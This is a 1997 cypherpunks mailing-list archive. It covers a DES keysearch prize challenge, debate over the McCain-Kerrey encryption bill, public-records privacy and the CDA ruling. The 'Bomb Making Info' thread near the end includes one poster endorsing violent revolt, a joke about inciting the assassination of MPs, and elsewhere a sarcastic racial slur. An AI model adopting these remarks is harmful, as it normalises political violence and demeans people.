latest challenge status.  (This will be the last update via email, unless
someone solves the challenge or pledges some huge prize or some such).

DATE	Name			Email				Bits Pledged
============================================================================
6/22/97	Matt Blaze		mab at crypto.com			56 bits
6/23	AT&T Labs (via mab)	mab at research.att.com		56
6/24	Steve Gibbons		steve at wyrm.AZTech.Net		56
6/24	Bill Stewart		stewarts at ix.netcom.com		112
6/24	Peter Trei		trei at process.com		288
6/24	Jim Thompson		jim at hosaka.SmallWorks.COM	512
6/25	Adam Shostack		adam at homeport.org		512
6/25	Eric Blossom		eb at comsec.com			1024
6/26	Jamie Lawrence		jal at acm.org			56
6/26	Bill Frantz 		frantz at netcom.com		512
6/27	Jon Leonard		jleonard at divcom.umop-ap.com	800
								=========
GRAND TOTAL (Bits)						3984
GRAND TOTAL (USD)						$498.00

Tell your friends!  Note that the pot seems to be growing roughly
exponentially.  If this keeps up, I may join the search myself...

[Unfortunately, due to singularly inexcusable incompetence on the part
of my soon-to-be-former ISP (PSINet), mail to me was bouncing last week
so I may have missed some of the ``Better DES Challenge'' pledge mail.
If you pledged a prize and aren't on the list above, please resend.]

Official rules attached below for reference.

- -matt

N.B.  The ``bit'' is an archaic unit of currency equal to 1/8 of a US
dollar (hence, ``pieces of eight,'' ``two bits,'', etc.).  It seems an
appropriate measure for prizes in key-cracking contests.

============================

From: Matt Blaze 
Subject: A better DES challenge
Date: Mon, 23 Jun 1997 16:04:25 -0400

I'm not a big fan of these ``challenges'' in which a prize is awarded
to the first person who discovers the key that produces some
plaintext/ciphertext pair.  The effort required to produce a solution
tends to grossly overstate the actual difficulty of searching the
keyspace, since invariably the winner uses the idle time on
general-purpose computers, which are poorly-optimized for use as
keysearch engines.

Another problem with challenges is that even when they are broken
they don't really provide convincing proof that the keyspace was
actually searched.  For example, in the recent 56-bit RSA DES
challenge, RSA has no way to prove that it didn't ``leak'' some hint
about the solution to the winner. (I hasten to point out that I'm not
suggesting that anything like this actually happened, only that a
skeptic might raise the possibility, against which RSA has no real way
to defend itself).  A better challenge, then, would be one in which
even the challenger doesn't know the solution in advance (or would
have had to itself search the keyspace or otherwise cryptanalyze the
cipher in order to find it).  For example, a challenge for a one-way
collision-intractable hash function could simply ask for an example of
a collision, or could ask for the inversion of some well-structured
output (such as all zeros).

We can do the same thing for encryption functions.  I propose an
alternative DES challenge that can be solved only by searching a large
fraction of the keyspace or by cryptanalyzing the cipher.  The
structure of the challenge is such that most people would agree that
either I don't know the solution myself or that I've already searched
the keyspace or otherwise cryptanalyzed DES in some way.  In other
words, the only way I could covertly ``help'' the challenge winner is
if I've already done what the challenge is supposed to establish is
possible in the first place.

Recall that there are 2^56 DES keys that each select a different
permutation of the 2^64 codebook entries.  We expect that there's
about a 1/2^8 chance that there exists a DES key that converts any
given plaintext block to any given ciphertext block.

My challenge is to find a key such that a ciphertext block of the form
 decrypts to a plaintext block of the form , where
X and Y represent any fixed eight-bit byte value repeated across each
of the eight bytes of the block.

Observe that I'm actually posing 2^16 different challenge
plaintext/ciphertext pairs, each with about 1/2^8 probability of
having a solution, where groups of 2^8 challenges can be searched for
simultaneously.  Each challenge may have no solution key, exactly one
solution key, or more than one solution key, but it is very likely
that there is at least one solution key to at least one of them (in
fact, one could expect to find about 2^8 solutions overall, assuming
DES produces good pseudorandom permutations).

The most obvious way to find a solution is try, for each
properly-formed ciphertext block, every key in the DES keyspace until
a plaintext block of the proper form is found.  Special-purpose
hardware, based on FPGAs or ASICs, would obviously be helpful for this
purpose.  (One might first consider the eight weak / semi-weak DES
keys that have 2^32 fixed points, on the chance that one of the blocks
of this form is a fixed point for one of them.  Unfortunately however,
none are.)

I will award a grand prize of fifty six bits ($7 US dollars) to the first
person to provide a solution key.  (The challenge ends when first key
is found).  While the prize money is admittedly trivial (this is out
of my own pocket, after all), I hope it will serve as ``seed money''
that encourages others to add their own prizes to a growing pot.

Of course, I cannot be completely sure whether there exist any
solutions at all.  In the (unlikely) event that there is no winner by
August 1, 1999, I will award the 56 bit prize to the person who submits
the key that produces the most ``interesting'' plaintext block from
the all-zero ciphertext block.  I will be the final judge of what
constitutes interesting.  This prize will be announced at the rump
session of CRYPTO'99.

Void where prohibited by law, etc.  Comments, questions and solutions
should be submitted by email, to .  If others wish
to pledge additional prizes, please also let me know at that address
and I'll keep track of who is offering what, etc..

- -matt

------- End of Blind-Carbon-Copy





From digital_matrix at hotmail.com  Fri Jun 27 00:49:20 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Fri, 27 Jun 1997 15:49:20 +0800
Subject: Flag Burning...
Message-ID: <199706270740.AAA28515@f26.hotmail.com>





----Original Message Follows----
>From frantz at netcom.com Thu Jun 26 22:35:59 1997
Received: from [207.94.249.169] (sjc-ca4-09.ix.netcom.com 
[207.94.249.137]) by netcom10.netcom.com (8.6.13/Netcom)
	id WAA26602; Thu, 26 Jun 1997 22:35:57 -0700
X-Sender: frantz at netcom10.netcom.com
Message-Id: 
In-Reply-To: <199706251146.EAA14923 at f48.hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 26 Jun 1997 22:29:56 -0700
To: "David Downey" , nicol at highway1.com.au
From: Bill Frantz 
Subject: Re: Flag Burning...

Yet she's only as rich as the poorest of the poor,
Only as free as a padlocked prison door,
Only as strong as our love for this land,
Only as tall as we stand.

                               - Phil Ochs


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- 
Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, 
USA
=====================================================================

As we say in the Army, "Damn Skippy!"  While it makes me angry that 
governments commit some of the atrocities that the first 2 lines cause 
to spring to mind, It is the last 2 lines that define what makes a 
country great or small. 

Though referenced by it's government, a country is defined by it's 
people. For it is not it's government that makes a country, but it's 
people. The government is just a place to put the useless. :-)





---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From digital_matrix at hotmail.com  Fri Jun 27 01:02:10 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Fri, 27 Jun 1997 16:02:10 +0800
Subject: Flag Burning...
Message-ID: <199706270752.AAA26735@f33.hotmail.com>





>Date: Thu, 26 Jun 1997 22:29:56 -0700
>To: "David Downey" , nicol at highway1.com.au
>From: Bill Frantz 
>Subject: Re: Flag Burning...
>
>Yet she's only as rich as the poorest of the poor,
>Only as free as a padlocked prison door,
>Only as strong as our love for this land,
>Only as tall as we stand.
>
>                               - Phil Ochs
>
>
>-------------------------------------------------------------------------
>Bill Frantz       | The Internet was designed  | Periwinkle -- 
Consulting
>(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
>frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, 
USA
>
>
>
As we say in the army, "Damn Skippy!" 

===========================================================
Though referenced by it's government, a country is defined 
by it's people. For it is not it's government that makes a 
country, but it's people. The government is just a place to 
put the useless. :-)   God does have a sense of humor.... 
He forgave our sins, and gave us government for penance! 
-----------------------------------------------------------

Type Bits/KeyID    Date       User ID
pub  2048/1D9A78C1 1997/06/11 Case at EarthCorp.com

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQENAjOey8AAAAEIAMEeGm4eYssbREAQZbAgRSIXPKwNAG9KSb7PZAUfLk0jBcez
rQqE19DQKVMGBlK7OR5JxImHTU1bUrX5oUax8yWzsE2uFra+wxiyLHJjCkqPkF6h
jAmJBQVeeAfJqOldHsebhUEg+sEUOJ3IRNggA9Fj2dUKmYFWlcSqqe5ijsU4rFEX
keR/TAjhr2wXqBMYdCllIUn4+HpnxpQWhY5YkyJ/trjCLdGVdcFisChBKmQ+TxMx
V1BnNn2mqdi/dNFrVc7IPX3JDj6YhhGoRGmwFu8GFT0FZMuA8mtdRur25VaXQcxM
XtFs02WxpZ20ZAUBibBxLNmgpRLUYs/9Rx2aeMEABRG0EkNhc2VARWFydGhDb3Jw
LmNvbYkBFQIFEDOey8Biz/1HHZp4wQEBVtIH/jF1qU05oIxL6CSAQeSy7ERIhcUz
Xb4E+S/pnpawUk8qZ4XXvyL1kKScKB+qFCsM80XIC5XuOJRxUR8raWiXyyuqBjF/
RR+91LFs02qQ9Cn3zNOW0XA+Yk/ShgFn2l0I9MW32/HX9pcH7ycMm3TUsHSjkAon
wbcGkFQK2X2yWD3xEFKN4X+FqNS6iZE/HTapUFfRbCevANvChOo9stAv0bxc3mmi
j7TJJemU5GW17Ji/IN9NUZCsfo3Rddiu5gHFhkphtKHgiXdbEzHrYWidH3w8SVGh
yo3sIrIXxI/3LCVaWGM42+IXI0mFauuO0nyqaHRGyMERVSSwVl2zINGU1TM=
=urPi
-----END PGP PUBLIC KEY BLOCK-----



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From digital_matrix at hotmail.com  Fri Jun 27 01:31:03 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Fri, 27 Jun 1997 16:31:03 +0800
Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
Message-ID: <199706270821.BAA11065@f52.hotmail.com>



>From: geeman at best.com
>Date: Thu, 26 Jun 1997 23:33:27 -0700
>To: cypherpunks at algebra.com
>Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
>
>Check our new domain names!
>http://www.netforward.com
>v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v
>  Earlier this week, Mr. Dan Gillmore, columnist for the San Jose 
>Mercury News discussed the problems with S. 909 and strongly urged a 
>rejection of the McCain-Kerrey approach. I submit his column into the 
>Congressional Record.
>
>            [From the San Jose Mercury News, June 23, 1997]
>
>          Encryption Bill: Federal Exercise in Self-Deception
>
>                            (By Dan Gillmor)
>
>       As a bill bearing his name zipped last week through the 
>     Senate Commerce Committee he heads, Arizona Republican John 
>     McCain said, ``This bill carefully seeks to balance the 
>     concerns of law enforcement with individual privacy 
>     concerns.''
>       The legislation, co-sponsored by Nebraska Democrat Bob 
>     Kerrey and two other Democrats, was the latest futile attempt 
>     in Congress to achieve the impossible: compromise on an issue 
>     that fundamentally has no middle ground.
>       The issue is encryption, the scrambling of digital 
>     information. Try as they might, lawmakers must eventually 
>     understand the reality. When it comes to the privacy of 
>     personal information in the digital age, we have two simple 
>     choices. Either we allow people to encrypt their messages, 
>     using scrambling and unscrambling ``keys'' to which only they 
>     have access, or we do not.
>       Governments are certain that bad people will use encryption 
>     to help achieve bad ends. They're right. But their cure would 
>     shred our basic liberties.

Do ya really think the powers that be really care? Let's hope they do!

>       So the Clinton administration and its allies--the McCain-
>     Kerrey legislation is widely viewed as an administration-
>     approved plan--are pushing a policy that would force us to 
>     put descrambling keys in the hands of third parties. Then, 
>     when law enforcement people wanted to see our communications, 
>     they'd simply get the keys from that third party.
>       The McCain-Kerrey bill pretends to stop short of that. It 
>     would force government agencies to use only electronic 
>     hardware and software that included this key-recovery scheme. 
>     It would also require the same system for anyone using a 
>     network that is funded in any way by federal funds, including 
>     virtually all university networks.

Seems inherently dangerous to me, everything about you is on a system or 
systems somewhere, and most of them have used federal funds in their 
startup and continue to use them. Doesn't that grant the governments 
almost total access to your past present and future? I KNOW I don't want 
ANYONE having THAT much access to my life. What I don't understand is 
what makes them tjink we'll just roll over and accept this without a 
fight?

>       While one section calls the system ``voluntary'' for 
>     private individuals, the rest of the legislation would make 
>     it all but impossible to resist. Hardware and software 
>     companies, which so far have resisted the government's moves, 
>     will be much more likely to simply give in and build this 
>     key-recovery method into all of their products if they have 
>     to build it into ones bought by the government. Consumers 
>     need options, not monolithic products.

Seems to me that that is EXACTLY what the government wants. If they 
can't pass it legally, they figure they'll use economical pressure. 
Hell, they've been doing it to China, Vietnam, Russia and a host of 
others for years! Why shouldn't they apply the concept locally?

>       Another section of the bill would, in effect, require even 
>     private citizens to use such software--and therefore give 
>     their keys to the third parties--if they want to buy anything 
>     online. People tend to use what they have in front of them.

Isn't control of the economy too powerful of a tool for the government? 
Can anyone hear the whistling? It's the sound of the government sword 
slicing through our pocketbooks and into our liberties and rights.

>       There's nothing wrong with the idea of letting a third 
>     party hold onto a descrambling key in certain cases. As 
>     former White House official Jock Gill noted recently on an 
>     Internet mailing list, all government communications should 
>     use such a system so the public can keep an eye on what the 
>     government is doing in our name and with our money. We'll 
>     need to create a system, of course, where such oversight 
>     doesn't end up forcing the public to use exactly the same 
>     technology for its own encryption needs--or at least keep 
>     private keys out of the hands of centralized third parties.
>       Companies, meanwhile, will need to hold onto the business-
>     related keys of employees, so that vital records won't be 
>     lost when someone leaves or dies. But I can't think of many 
>     companies that will be happy about giving the vault keys to 
>     third parties they can't control.
>       Private citizens also should consider giving their keys to 
>     trusted third parties, just as they give their house keys to 
>     neighbors when on vacation trips. I intend to do just that--
>     but it's none of the government's business who gets my 
>     personal encryption key. I need strong encryption, as the 
>     digital age arrives, because more and more of my life will 
>     exist on these public networks.

Yeah, and how many of them does the government have pull with? Quite a 
few considering that they back most corporate companies with tax dollars 
and schools with federal grants.

>       The practical difficulties of setting up a centralized key-
>     recovery system are immense. Even if it could be done, I 
>     would never trust such a government-run system to be even 
>     remotely secure from corruption. I remember the Social 
>     Security employees who sold personal information to 
>     outsiders. I've also seen too much evidence that governments 
>     tend to abuse liberties when they have too much power--and 
>     the McCain-Kerrey bill would allow virtually anyone at any 
>     level of law enforcement to have access to private 
>     information on the flimsiest pretext, not even requiring a 
>     court order.

This is starting to sound like the beginnings of a Martial State. Slowly 
control the population in every aspect of their lives and when you have 
enough control, who's gonna fight you when you really start cracking the 
whip? If you control everything that affects their lives, NO ONE! 
Control their economy, their privacy, their children, and you control 
them. Even better, get them to help you in the names of their children, 
their rights, and make them feel like thy are in greatr danger that they 
actually are and they'll just hand you the reins!  Hmmmmmm... doesn't 
this sound like our current situation??


>     Kerrey's participation in this latest travesty is sad. He 
>     needs no lessons in courage. He lost part of a leg in 
>     Vietnam. Later, as he stood up to the know-nothings who would 
>     ban flag-burning, he noted that our strength comes partly 
>     from our ability to express ourselves even in ways that 
>     offend many others. Now, however, Kerrey is aligning himself    >     
with a much more dangerous crowd of know-nothings: those who'd > >    
ban our right to keep private information private. He may believe >    
this is about finding common ground; if so, someone has fed him 
>     falsehoods. His proposal, if enacted, would create the worst 
>     invasion of our fundamental liberty in many decades.

How many times have we watched the better part of valiant, couragous, 
and honorable men and women be seduced by power, greed, corruption, and 
just plain old not thinking straight?

>       If you care even slightly about your privacy in the future, 
>     pick up a pen today and write your Senators and member of the 
>     House of Representatives. Tell them to reject the Clinton-
>     McCain-Kerrey approach. Tell them you value your privacy and 
>     won't give it up without a fight. And remind them that you 
>     vote.

Yes, we vote. Yes, we care. Yes, WE WILL FIGHT!!!  


===========================================================
Though referenced by it's government, a country is defined 
by it's people. For it is not it's government that makes a 
country, but it's people. The government is just a place to 
put the useless. :-)   God does have a sense of humor.... 
He forgave our sins, and gave us government for penance! 
-----------------------------------------------------------

Type Bits/KeyID    Date       User ID
pub  2048/1D9A78C1 1997/06/11 Case at EarthCorp.com

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQENAjOey8AAAAEIAMEeGm4eYssbREAQZbAgRSIXPKwNAG9KSb7PZAUfLk0jBcez
rQqE19DQKVMGBlK7OR5JxImHTU1bUrX5oUax8yWzsE2uFra+wxiyLHJjCkqPkF6h
jAmJBQVeeAfJqOldHsebhUEg+sEUOJ3IRNggA9Fj2dUKmYFWlcSqqe5ijsU4rFEX
keR/TAjhr2wXqBMYdCllIUn4+HpnxpQWhY5YkyJ/trjCLdGVdcFisChBKmQ+TxMx
V1BnNn2mqdi/dNFrVc7IPX3JDj6YhhGoRGmwFu8GFT0FZMuA8mtdRur25VaXQcxM
XtFs02WxpZ20ZAUBibBxLNmgpRLUYs/9Rx2aeMEABRG0EkNhc2VARWFydGhDb3Jw
LmNvbYkBFQIFEDOey8Biz/1HHZp4wQEBVtIH/jF1qU05oIxL6CSAQeSy7ERIhcUz
Xb4E+S/pnpawUk8qZ4XXvyL1kKScKB+qFCsM80XIC5XuOJRxUR8raWiXyyuqBjF/
RR+91LFs02qQ9Cn3zNOW0XA+Yk/ShgFn2l0I9MW32/HX9pcH7ycMm3TUsHSjkAon
wbcGkFQK2X2yWD3xEFKN4X+FqNS6iZE/HTapUFfRbCevANvChOo9stAv0bxc3mmi
j7TJJemU5GW17Ji/IN9NUZCsfo3Rddiu5gHFhkphtKHgiXdbEzHrYWidH3w8SVGh
yo3sIrIXxI/3LCVaWGM42+IXI0mFauuO0nyqaHRGyMERVSSwVl2zINGU1TM=
=urPi
-----END PGP PUBLIC KEY BLOCK-----



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From digital_matrix at hotmail.com  Fri Jun 27 05:30:07 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Fri, 27 Jun 1997 20:30:07 +0800
Subject: Flag Burning...
Message-ID: <199706271220.FAA18706@f61.hotmail.com>



> Obviously not. And 
>> before ya ask what that has to do with it, let me just say now...
>> It's like riding a Harley, if we have to explain it to you, you 
wouldn't 
>> understand.
>
>That, my friend, is pissweak.  "I understand, but you CANT because I 
>am better than you . . . "  Get a life, learn to communicate 
>effectively.  
>
>
>
>
>Neter Picol
>Global Media Magnet
>godhead at vrl.com.au
>
>"Two daughters of a silk merchant live it Kyoto,
>The elder is twenty, the younger, eighteen.
>A soldier may kill with his sword,
>But these girls slay men with their eyes."
=================================================================

THAT, my friend, just ended ANY chance of coomunication between the two 
of us. When you start thinking you are better than someone else, you 
have stepped over the line.  BTW, the spelling for dood is D U D E! 
Learn to spell before you start thinking you're better than anyone else. 
Baby steps, baby steps! And as to the imperialist comment. Give it a 
rest, folks have been saying that for years. Ever heard of dancing to 
your OWN beat. Give the badwagon some room. Too many on it as it is now. 
And as for me getting a life. I have one. I live in America! :-)

===========================================================
Though referenced by it's government, a country is defined 
by it's people. For it is not it's government that makes a 
country, but it's people. The government is just a place to 
put the useless. :-)   God does have a sense of humor.... 
He forgave our sins, and gave us government for penance! 
-----------------------------------------------------------

Type Bits/KeyID    Date       User ID
pub  2048/1D9A78C1 1997/06/11 Case at EarthCorp.com

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQENAjOey8AAAAEIAMEeGm4eYssbREAQZbAgRSIXPKwNAG9KSb7PZAUfLk0jBcez
rQqE19DQKVMGBlK7OR5JxImHTU1bUrX5oUax8yWzsE2uFra+wxiyLHJjCkqPkF6h
jAmJBQVeeAfJqOldHsebhUEg+sEUOJ3IRNggA9Fj2dUKmYFWlcSqqe5ijsU4rFEX
keR/TAjhr2wXqBMYdCllIUn4+HpnxpQWhY5YkyJ/trjCLdGVdcFisChBKmQ+TxMx
V1BnNn2mqdi/dNFrVc7IPX3JDj6YhhGoRGmwFu8GFT0FZMuA8mtdRur25VaXQcxM
XtFs02WxpZ20ZAUBibBxLNmgpRLUYs/9Rx2aeMEABRG0EkNhc2VARWFydGhDb3Jw
LmNvbYkBFQIFEDOey8Biz/1HHZp4wQEBVtIH/jF1qU05oIxL6CSAQeSy7ERIhcUz
Xb4E+S/pnpawUk8qZ4XXvyL1kKScKB+qFCsM80XIC5XuOJRxUR8raWiXyyuqBjF/
RR+91LFs02qQ9Cn3zNOW0XA+Yk/ShgFn2l0I9MW32/HX9pcH7ycMm3TUsHSjkAon
wbcGkFQK2X2yWD3xEFKN4X+FqNS6iZE/HTapUFfRbCevANvChOo9stAv0bxc3mmi
j7TJJemU5GW17Ji/IN9NUZCsfo3Rddiu5gHFhkphtKHgiXdbEzHrYWidH3w8SVGh
yo3sIrIXxI/3LCVaWGM42+IXI0mFauuO0nyqaHRGyMERVSSwVl2zINGU1TM=
=urPi
-----END PGP PUBLIC KEY BLOCK-----



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From dlv at bwalk.dm.com  Fri Jun 27 06:55:36 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 27 Jun 1997 21:55:36 +0800
Subject: William Just doesn't get it.
In-Reply-To: 
Message-ID: 



My computer is generally down these days - I brought it up for a short
while to check the e-mail, but will be taking it down again soon...

Ray Arachelian  writes:
> Asking the state to protect my privacy by not disclosing the information I
> disclose to it is not asking the state to engage in secret activities with
> select members of society.  It is asking it not to release information
> that I am forced to give them in return for certain goods, services, or
> privilidges - driving for example.  Having a driver's license doesn't mean
> I wish to share the information that the DMV requires to provide such a
> license to the world.

Not that it means much, but: we both live in NYC.  I have a licence, but
I haven't driven the car in probably 3 or 4 years (my wife takes the darn
thing all the time).

One can live in NYC or SF and not have a car or licence. On the other hand
one can live in NYC and drive a gypsie cab and not have a licence (apparently
lots of people do!) because if you're pulled over and you don't have a
license, you're not arrested, and your car is not impounded - you're just
given a ticket which you don't have to pay.  Tickets are for suckers like
us who are in the system.

> Paying taxes doesn't mean I wish to disclose my 1040 form to the world.

It's public in some Scandinavian countries.  I recall that there anyone can
check the balance on your bank account.

> > Criminal Records
>
> As for these, IMHO, once a criminal has completed their sentence they
> should be allowed to have a life.  Having these records available to all
> is a means of discriminating against them for having commited a crime as
> judged by a jury.  Not necessarily having commited the crime, but being
> convicted of doing so - as is well known mistakes have been made and lives
> have been destroyed by such mistakes.

But of course not just the conviction record but the arrest record is
public information.

> > Voter Registrations
>
> These too can be both a benefit and an infringement on privacy.  Whatever
> information these records hold might be used for other purposes.

These are public in the U.K.  Indeed they'd find electioneering much
harder if they weren't.

> > Census Records
>
> Why?  What is the purpose of having these records available in forms other
> than a number?

Why, to round up all the japs, to confiscate their homes and businesses,
and to ship them to concentration camps. :-)

> > Building Permits
>
> I agree here.

I don't see why anyone other than a buglar should be interested in the
intrnal layour of someone home. :-)

> > Profesional Licenses
>
> Sure, but only so far as to say "Yep, person X has this license" not "and
> they live on xyz street, have three kids, and a poodle."

How about: patient X complaint about Dr. Y.

> > Court Transcripts
>
> Granted.

How about: Mrs. X is suing Mr. X for divorce and alleges that he's
been sexually molsting their kids.  In practice, this happens very
often, and is usually dismissed by the family court as pure bulshit.

How about adoption records...

> allowed to do.  For instance many places where gambling is illegal provide
> lotteries with astronomical odds against the player.  Were the things done
> by casinos, nobody would play.

But of course: if private casinos were allowed to compete against
the gubmint-run lotteries, they'd offer better odds, and no one would
play gubmint lotteries.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From declan at well.com  Fri Jun 27 07:36:00 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 27 Jun 1997 22:36:00 +0800
Subject: All Tomorrow's Parties -- CDA II -- from the Netly News
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 27 Jun 1997 07:15:50 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: All Tomorrow's Parties -- CDA II -- from the Netly News



http://cgi.pathfinder.com/netly/opinion/0,1042,1113,00.html

The Netly News
June 26, 1997

All Tomorrow's Parties
by Team Netly (thenetlynews at pathfinder.com)

The fun-loving "trolls" of Bianca's Smut Shack
celebrated today's Communications Decency Act
ruling by sleeping in. Christopher Miller and
David Thau stumbled awake at 10:10 am today,
just in time to read the decision that said it
was legal to post "indecent" material on your
web site -- something clearly important to the
Biancanauts, who are travelling cross-country in
a psychedelic RV commemorating the summer of
love.

"It's kind of weird to celebrate the overturning
of something that's clearly unconstitutional,
but of course we have something to celebrate
because it's going to keep us from jail," said
Thau.

The celebration may be premature. The CDA II,
after all, is expected to crawl out of the grave
like a flesh-dripping zombie. But you'd never
know it from the high-bandwidth rhetoric that
flooded the Net today after the Supreme Court
decision.

The Electronic Privacy Information Center cried
that "today's opinion defines the First
Amendment for the next century." Histrionics
also were flying furiously around San
Francisco's South Park, where the faithful
rallied. "The Internet freedom fighters are as
strong as the students at Tiananmen Square,"
said the Electronic Frontier Foundation's Mike
Godwin -- to a crowd composed almost entirely of
journalists. "Today is the first day of the new
American Revolution, the Digital Revolution.."
(A phrase that happens to be trademarked by
Wired, a sponsor of the rally.)

The victorious shouts of the way-new stalwarts
were matched by the angry screams of the
censor-happy CDA supporters. "The safety net is
gone," says Donna Rice-Hughes, communication
director for Enough Is Enough. "There is no law
against an adult sending a naked picture of
himself to a child over the Internet or through
e-mail."

If Rice-Hughes has her way, the high court's
decision to drive a stake through the heart of
the much-reviled law will mean the threat to
free speech online has expired only for a while.

"Frankly, this ruling provides a road map on how
to more specfically draft legislation," says
Heidi Stirrup, director of government relations
for the Christian Coalition. "Our beleaguered
American family has been put on notice by the
Court that it will do nothing to help the family
even when the president and Congress work
together against a problem that everyone says is
bad -- providing indecent material to children."

This isn't entirely true. The ruling -- which
talked of "vast democratic fora" online -- does
not mean that the Internet is now a free-speech
zone where anything goes. After all, the CDA
only restricted "indecent" materials, an
undefined category that could include art,
literature, even humor and sex ed. materials.
Distributing obscenity -- sexual works without
"redeeming value" -- will remain a crime. The
Court noted this in its ruling today:
"Transmitting obscenity and child pornography,
whether via the Internet or other means, is
already illegal under federal law for both
adults and juveniles."

President Clinton, who endorsed the act, also
vowed not to give up. "We can and must develop a
solution for the Internet that is as powerful
for the computer as the v-chip will be for the
television, and that protects children in ways
that are consistent with America's free speech
values," he said.

"We're certainly going to support Congress'
efforts to develop another bill to protect kids.
They're not going to stop and we're going to
help them to do it," says Bruce Taylor,
president of the National Law Center for
Children and Families.

Taylor predicts that a CDA II might stress
labelling all your web pages with PICS or RSACi
if you want to stay out of jail: "Remember I
told you nobody's going to do PICS? It's a
monster nobody wants to feed. Who's going to
rate 10 zillion web sites?"

Well, nobody -- unless you force people to use
it.

Which is what some members of Congress are
trying. Sen. Patty Murray (D-Wash.) is preparing
to introduce a bill that will try to convince a
dubious public to rate its pages with RSACi, a
self-rating system backed by Microsoft. (A
company which, just coincidentally, is
headquartered in her state.) Nevermind that even
MSNBC stopped ratings its pages with RSACi
because the system proved unworkable for news
sites.

Murray's proposed bill, called the "Childsafe
Internet Act of 1997," says someone who
"includes a rating" on their site "may not be
held liable" for "any material on the site that
is unsuitable for minors." That's the carrot.

Then the stick: you can't post material
"unsuitable for minors" on a site that's rated
for kids. "Whoever accesses a site on the
Internet rated by the person establishing the
site as having no material unsuitable for minors
and knowingly makes available on or through the
site any comment, request, suggestion, proposal,
image, or other material unsuitable for minors,
shall be imprisoned... for not more than two
years," the bill says.

The constitutionality of such legislation was
affirmed in today's minority opinion of Justices
O'Connor and Rehnquist, in which they talk of
"zoning laws" for the Internet. Real world
zoning laws are what keep children out of porno
stores and require buildings to be
wheelchair-accessible. These laws passed
constitutional muster long ago, and the
underlying intent of the CDA was largely to
shield minors from indecent material. Trouble
is, Internet technology isn't yet capable of
ensuring the existence of adult-only zones. Yet.

Thus argued O'Connor: "Until gateway technology
is available throughout cyberspace, and it is
not in 1997, a speaker cannot be reasonably
assured that the speech he displays will reach
only adults because it is impossible to confine
speech to an 'adult zone.'"

What all this means is Congressional attempts to
pass another law to muzzle the Net won't need to
be a flat ban on "indecency." Rather, they'll
rely on PICS and RSACi. (Ironically, a
technology designed to head off the CDA might be
the linchpin of CDA II.) Next month President
Clinton plans to meet with industry leaders in
much the same way he met with broadcast
executives last year and came up with a V-Chip.
His goal this time: to do the same for the Net.

Meanwhile, slap-happy netizens will probably
still be partying down -- the D.C.-based CIEC
folks are hanging out in the 18th Street Lounge
right now -- basking in the high court's warm
and fuzzy afterglow, and happily smoking a bowl
of their own rhetoric.

###









From paul at fatmans.demon.co.uk  Fri Jun 27 08:22:55 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 27 Jun 1997 23:22:55 +0800
Subject: Bomb Making Info to be Illegal
In-Reply-To: 
Message-ID: 




> >The reasoning was that while offensive, unorthodox, or hateful ideas
> >are protected by the 1st, they, unlike pornography, have at least *some*
> >redeeming social value.  The court noted that laws enacted after the
>
> I can't see that anyone, including the courts, should use redeeming social
> value as a yardstick.  This term has all the hateful aspects of one group's
> mores being used to limit the freedom of their neighbor in the privacy of
> their home and thoughts.  After all, one man's ceiling is another man's
> floor.

I agree, besides the argument rests on direct democracy: The idea that 
something revolting or distasteful to a majority of people is therefore 
inherently wrong. Any idea or form of speech, even if 100% of a social 
group dislike it, is not criminal.  

> What if we create religion who's practice requires use and possesion of
> child porn?  Wonder how the SC would rule, given its rulings allowing use
> of peyote by certain native American tribes and against the Mormons on the
> issue of bigemy.

Maybe this would be a good test case, where is kibo when you need him ;-)...

> I think resistance to such limitations should go beyond legal avenues.

This and other issues should elicit such a response from reasonable 
people, the law is a useful tool in some cases but is not the right way 
to go about removing an unjust law, civil disobediance and, in extreme 
cases, even violent revolt are the best methods.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From nobody at secret.squirrel.owl.de  Fri Jun 27 08:32:46 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Fri, 27 Jun 1997 23:32:46 +0800
Subject: Bomb Making Info to be Illegal
Message-ID: <19970627124927.25408.qmail@squirrel.owl.de>




Paul Bradley  wrote:
>I think I 
>may, if I have some time in the next few days, put together a quick 
>website telling people the best fish to use etc. and inciting them to use 
>this as a method of assasinating MPs...

  Surely oranges would be a better choice for MPs? Hell, dress them
up in stockings and suspenders first and they'd probably write it off
as accidental death.

OrangeMonger






From tcmay at got.net  Fri Jun 27 09:47:04 1997
From: tcmay at got.net (Tim May)
Date: Sat, 28 Jun 1997 00:47:04 +0800
